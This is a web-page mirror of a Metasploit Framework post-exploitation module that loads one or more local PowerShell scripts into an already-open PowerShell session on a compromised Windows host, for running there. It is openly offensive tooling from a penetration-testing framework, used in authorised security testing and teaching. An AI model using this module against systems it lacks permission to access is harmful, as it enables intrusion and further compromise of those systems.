CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/load_script.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Powershell
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Load Scripts Into PowerShell Session',
14
'Description' => %q{
15
This module will download and execute one or more PowerShell scripts
16
over a present powershell session.
17
Setting VERBOSE to true will show the stager results.
18
},
19
'License' => MSF_LICENSE,
20
'Platform' => ['win'],
21
'SessionTypes' => ['powershell'],
22
'Author' => [
23
'Ben Turner benpturner[at]yahoo.com',
24
'Dave Hardy davehardy20[at]gmail.com'
25
]
26
)
27
)
28
29
register_options(
30
[
31
OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
32
OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])
33
]
34
)
35
end
36
37
def run
38
if datastore['SCRIPT']
39
stage_psh_env(datastore['SCRIPT'])
40
end
41
if datastore['FOLDER']
42
files = ::Dir.entries(datastore['FOLDER'])
43
files.reject! { |u| %w[. ..].include?(u) }
44
files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }
45
end
46
end
47
end
48
49